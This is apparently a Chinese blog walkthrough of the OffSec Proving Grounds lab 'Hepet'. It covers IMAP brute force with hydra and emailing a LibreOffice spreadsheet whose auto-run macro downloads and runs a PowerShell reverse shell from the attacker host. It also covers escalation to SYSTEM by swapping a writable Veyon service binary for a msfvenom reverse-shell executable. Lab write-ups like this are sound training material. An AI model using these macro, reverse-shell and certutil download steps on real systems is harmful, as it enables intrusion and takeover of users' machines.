本文最后更新于 2026年3月12日 下午
一、靶场详情 靶场名称:
Hepet
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结 突破边界:
利用 HTTP 8000 服务搜集用户信息、创建密码本 –> hydra IMAP 协议暴力破解 –> 得到用户邮箱密码 –> 枚举邮件内容 –> sendemail 发送包含反弹 shell 宏的 LibreOffice 表格文件 –> 系统 Ela Arwel 用户权限 –> 用户旗帜
权限提升:
veyon 程序服务权限配置问题 –> 修改服务运行的二进制文件 –> 重启系统实现重启服务 –> 系统 system 权限 –> 用户旗帜
三、靶场攻击演示 3.1 靶场信息收集 TCP 端口扫描:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 sudo nmap -p- 192.168.140.140 --min-rate=2000 PORT STATE SERVICE 25/tcp open smtp 79/tcp open finger 105/tcp open csnet-ns 106/tcp open pop3pw 110/tcp open pop3 135/tcp open msrpc 139/tcp open netbios-ssn 143/tcp open imap 443/tcp open https 445/tcp open microsoft-ds 2224/tcp open efi-mg 5040/tcp open unknown 8000/tcp open http-alt 11100/tcp open unknown 16379/tcp filtered unknown 20001/tcp open microsan 21385/tcp filtered unknown 33006/tcp open unknown 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49668/tcp open unknown 49669/tcp open unknown
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 sudo nmap -p25,79,105,106,110,135,139,143,443,445,2224,5040,8000,11100,16379,20001,21385,33006,49664,49665,49666,49667,49668,49669 -sCV 192.168.140.140 PORT STATE SERVICE VERSION 25/tcp open smtp Mercury/32 smtpd (Mail server account Maiser) |_smtp-commands: localhost Hello nmap.scanme.org; ESMTPs are:, TIME 79/tcp open finger Mercury/32 fingerd | finger: Login: Admin Name: Mail System Administrator\x0D | \x0D |_[No profile information]\x0D 105/tcp open ph-addressbook Mercury/32 PH addressbook server 106/tcp open pop3pw Mercury/32 poppass service 110/tcp open pop3 Mercury Mail Transport System pop3d |_pop3-capabilities: UIDL EXPIRE(NEVER) TOP USER APOP 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 143/tcp open imap Mercury/32 imapd 4.62 |_imap-capabilities: IMAP4rev1 AUTH=PLAIN OK CAPABILITY X-MERCURY-1A0001 complete 443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1 .1 g PHP/7.3 .23 ) | tls-alpn: |_ http/1.1 |_http-title: Time Travel Company Page |_http-server-header: Apache/2.4 .46 (Win64) OpenSSL/1.1 .1 g PHP/7.3 .23 | ssl-cert: Subject: commonName=localhost | Not valid before: 2009 -11 -10 T23:48 :47 |_Not valid after: 2019 -11 -08 T23:48 :47 |_ssl-date: TLS randomness does not represent time445 /tcp open microsoft-ds?2224 /tcp open http Mercury/32 httpd |_http-title: Mercury HTTP Services5040 /tcp open unknown8000 /tcp open http Apache httpd 2.4 .46 ((Win64) OpenSSL/1.1 .1 g PHP/7.3 .23 ) |_http-server-header: Apache/2.4 .46 (Win64) OpenSSL/1.1 .1 g PHP/7.3 .23 | http-methods: |_ Potentially risky methods: TRACE |_http-open-proxy: Proxy might be redirecting requests |_http-title: Time Travel Company Page11100 /tcp open vnc VNC (protocol 3.8 ) | vnc-info: | Protocol version: 3.8 | Security types: |_ Unknown security type (40 )16379 /tcp closed unknown20001 /tcp open ftp FileZilla ftpd 0.9 .41 beta | ftp-anon: Anonymous FTP login allowed (FTP code 230 ) | -r--r--r-- 1 ftp ftp 312 Oct 20 2020 .babelrc | -r--r--r-- 1 ftp ftp 147 Oct 20 2020 .editorconfig | -r--r--r-- 1 ftp ftp 23 Oct 20 2020 .eslintignore | -r--r--r-- 1 ftp ftp 779 Oct 20 2020 .eslintrc.js | -r--r--r-- 1 ftp ftp 167 Oct 20 2020 .gitignore | -r--r--r-- 1 ftp ftp 228 Oct 20 2020 .postcssrc.js | -r--r--r-- 1 ftp ftp 346 Oct 20 2020 .tern-project | drwxr-xr-x 1 ftp ftp 0 Oct 20 2020 build | drwxr-xr-x 1 ftp ftp 0 Oct 20 2020 config | -r--r--r-- 1 ftp ftp 1376 Oct 20 2020 index.html | -r--r--r-- 1 ftp ftp 425010 Oct 20 2020 package-lock.json | -r--r--r-- 1 ftp ftp 2454 Oct 20 2020 package.json | -r--r--r-- 1 ftp ftp 1100 Oct 20 2020 README.md | drwxr-xr-x 1 ftp ftp 0 Oct 20 2020 src | drwxr-xr-x 1 ftp ftp 0 Oct 20 2020 static |_-r--r--r-- 1 ftp ftp 127 Oct 20 2020 _redirects | ftp-syst: |_ SYST: UNIX emulated by FileZilla |_ftp-bounce: bounce working!21385 /tcp closed unknown33006 /tcp open mysql MariaDB 10.3 .24 or later (unauthorized)49664 /tcp open msrpc Microsoft Windows RPC49665 /tcp open msrpc Microsoft Windows RPC49666 /tcp open msrpc Microsoft Windows RPC49667 /tcp open msrpc Microsoft Windows RPC49668 /tcp open msrpc Microsoft Windows RPC49669 /tcp open msrpc Microsoft Windows RPC Service Info: Host: localhost; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3 :1 :1 : |_ Message signing enabled but not required |_clock-skew: -2 s | smb2-time: | date: 2025 -09 -12 T13:50 :16 |_ start_date: N/A
系统为 Windows 环境,开放有 SMTP、IMAP、Finger、POP3、HTTP、VNC、FTP 以及 Windows 的一些默认服务。
3.2 渗透测试突破边界 3.2.1 IMAP 服务爆破得到用户邮箱密码 由于靶机开放了大量服务端口,我们不确定哪些服务存在漏洞,所以需要逐个端口排查。首先可尝试枚举靶机 SMB 服务,没有得到有价值线索。
1 enum4linux -a 192.168.140.140
靶机 FTP 存在匿名访问,但仅此而已并没有泄露太多有价值信息。
1 2 3 ftp 192.168.140.140 20001 anonymous anonymous
访问靶机 HTTP 8000、2224、443 端口,其中 8000 和 443 同属一个 web 服务,2224 为订阅邮件系统。
Web 页面没有泄露系统部署的服务信息,尝试目录也没有得到更多有价值线索。靶机开放有 SMTP、POP3 和 IMAP 服务,说明系统大概率部署了邮件应用,协议用途如下:
SMTP: 用于发送邮件,常见端口为 25。
POP3: 将邮件下载到本地,常见端口有 110(明文)、995(加密)。
IMAP: 用于接收邮件,常见端口有 143(明文)、993(加密)。
对于靶机的其余端口,也进行了一系列的漏洞枚举,均没有得到有价值信息,接下来尝试枚举用户邮箱,寻找系统邮件服务的突破口。
在 HTTP 8000 页面可获取到一些用户信息。
1 2 3 4 5 6 Agnes Jonas Martha Admin Magnus Charlotte
利用 SMTP 协议验证用户是否存在,除了手动枚举还可以配合工具批量进行。
1 2 telnet 192.168.140.140 25 vrfy agnes
工具枚举:
1 https://www.verylazytech.com/network-pentesting/smtp-s-port-25-465-587
根据手动枚举得到的邮箱域名,将用户名保存至文本中,使用 smtp-user-enum 批量枚举邮箱。
1 2 3 4 5 Agnes@localhost Jonas@localhost Martha@localhost Magnus@localhost Charlotte@localhost
1 smtp-user-enum -M VRFY -U user -t 192.168.140.140
除去 administrator 其余邮箱均存在,紧接着使用 cewl 工具收集网页字符串作为密码。
1 cewl http://192.168.140.140:8000/ -m 3 -w pass.txt
通过 hydra 爆破邮箱密码,注意: 靶机禁用了 POP3 和 SMTP 的用户认证功能,只能通过 IMAP 协议进行爆破。
协议爆破参考链接:
1 https://book.hacktricks.wiki/en/generic-hacking/brute-force.html
1 2 hydra -L user -P pass.txt -f 192.168.140.140 pop3 hydra -L user -P pass.txt -f 192.168.140.140 stmp
1 hydra -L user -P pass.txt -f 192.168.140.140 imap
3.2.2 枚举用户邮件信息 利用获取的邮箱密码登录靶机 IMAP 服务,尝试枚举邮件内容。
IMAP 命令参考链接:
1 2 https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html?highlight=imap#imap-bruteforce https://donsutherland.org/crib/imap
1 2 3 4 telnet 192.168.140.140 143 a1 login Jonas@localhost SicMundusCreatusEst a1 list "" * a1 select inbox
枚举得知用户共收到 5 个邮件,手动枚举邮件内容。
第一封: 管理员提示用户使用了默认密码,我们已经得到了该用户密码,没有有价值信息。
1 2 a1 fetch 1 all a1 fetch 1 body[text]
第二封: 得知公司内部使用了 LibreOffice 软件,稍后可尝试客户端攻击,将包含反弹 shell 宏的 LibreOffice 文件发送给用户邮箱。
1 2 a1 fetch 2 all a1 fetch 2 body[text]
第三封: 没有有价值信息
1 2 a1 fetch 3 all a1 fetch 3 body[text]
第四封: 透露向 mailadmin 发送公司组织架构表格。
1 2 a1 fetch 4 all a1 fetch 4 body[text]
第五封: 没有有价值信息。
1 2 a1 fetch 5 all a1 fetch 5 body[text]
除了手动枚举也可使用 curl 一次性枚举全部邮件内容。
1 https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html?highlight=imap#curl
1 curl -k 'imap://192.168.140.140/INBOX' -X 'FETCH 1:5 BODY[]' --user Jonas@localhost:SicMundusCreatusEst -v 2>&1 | grep '^<'
3.2.3 发送包含反弹 shell 宏的 LibreOffice 表格,得到系统 Ela Arwel 用户权限。 根据邮件内容发现的线索,我们可尝试创建包含反弹 shell 宏的 LibreOffice 表格,然后将文件作为附件发送给 mailadmin 邮箱。
步骤一: 打开 kali LibreOffice calc,在表格写入任意内容。
步骤二: 点击 tools - macros - organize macros - basic... ,在当前文档新建一个 revs 函数。
步骤三: 复制 powershell revs shell 指令并写入反弹函数中。
1 https://www.revshells.com/
步骤四: 在函数内定义通过 powershell iex 下载并运行反弹 shell 指令,注意: kali 需要同时监听两个端口,其中一个端口用于靶机下载反弹 shell 脚本,另外一个端口使用 nc 监听获取反弹 shell。
1 2 goshs -p 8000 rlwrap nc -lvnp 79
1 2 3 Sub Main Shell("cmd /c powershell iex (New-Object Net.Webclient).Downloadstring('http://192.168.45.236:8000/revs.ps1')" ) End Sub
步骤五: 在 tools - macros - organize macros - basic... 中设置打开文档立即执行宏代码。
步骤六: 保存文档,然后使用 sendemail 发送邮件。
1 sendemail -f 'Jonas@localhost' -t 'mailadmin@localhost' -s 192.168.140.140:25 -u 'Your spreadsheet' -m 'here is your requested spreadsheet' -a revs.ods
等待几分钟后,可得到 Ela Arwel 用户 shell。
为了让 shell 更稳定,通过 ConPtyShell 工具将 shell 升级为交互 shell,注意: 靶机只能执行一次文档的反弹 shell,执行失败需要重置靶机,执行成功 shell 断开了也需要重置靶机重新获取 shell。
1 https://github.com/antonioCoco/ConPtyShell
1 2 3 4 5 stty raw -echo ; (stty size; cat ) | nc -lvnp 79 wget http://192.168.45.236:8000/ConPtyShell.exe -O ConPtyShell.exe .\ConPtyShell.exe 192.168.45.236 79 31 157 cmd.exe
3.2.4 用户旗帜获取
3.3 提权获取系统管理员权限 3.3.1 修改系统服务可执行程序提权至 system 权限 在 Ela Arwel 用户家目录发现 veyon 目录,非常可疑,检索得知应用历史存在本地提权漏洞。
1 https://www.exploit-db.com/exploits/48246
该漏洞利用原理: veyon 服务定义的可执行程序路径未设置引号包裹,并且路径包含空有格符号,在 Windows 中系统默认会对路径逐层读取,当发现存在空格的路径时,会优先寻找空格前的内容,一旦目录存在于空格前内容相同的可执行文件,空格后的内容就会当成程序参数执行,近而导致本地提权。
参考链接:
1 https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#unquoted-service-paths
根据命令检索未加引号的服务。
1 wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
我们没有权限直接在 users 目录写入文件,所以针对该漏洞的提权方式也就不适用了,由于程序安装在用户的家目录,我们有权限修改服务执行的二进制文件。
1 2 3 sc qc VeyonService icacls "C:\Users\Ela Arwel\Veyon\veyon-service.exe" icacls "C:\Users\Ela Arwel\Veyon"
使用 msfvenom 生成 exe 的反弹 shell,然后使用 msf handler 模块监听 79 端口。
1 2 3 4 5 6 7 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.236 LPORT=79 -f exe -o revs.exe msfconsole use exploit/multi/handlerset payload windows/shell_reverse_tcpset lhost 192.168.45.236set lport 79 run
替换服务 exe 为反弹 shell exe,注意: 需将文件重命名后再上传。
1 2 move veyon-service.exe veyon-service.exe.back certutil -urlcache -split -f http://192.168.45.236:8000/revs.exe veyon-service.exe
尝试重启服务时提示权限拒绝,可通过重启计算机达到重启服务效果。
等待靶机重启服务再次运行时,得到了系统 system 权限。
注意: 查看 Windows 用户特权时,发现用户没有重启系统权限,但实际仍可进行系统重启,而有时用户拥有重启系统特权却无法执行重启操作,所有单凭用户特权不能确定用户是否可重启系统,需手动尝试。
3.3.2 管理员旗帜获取
Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨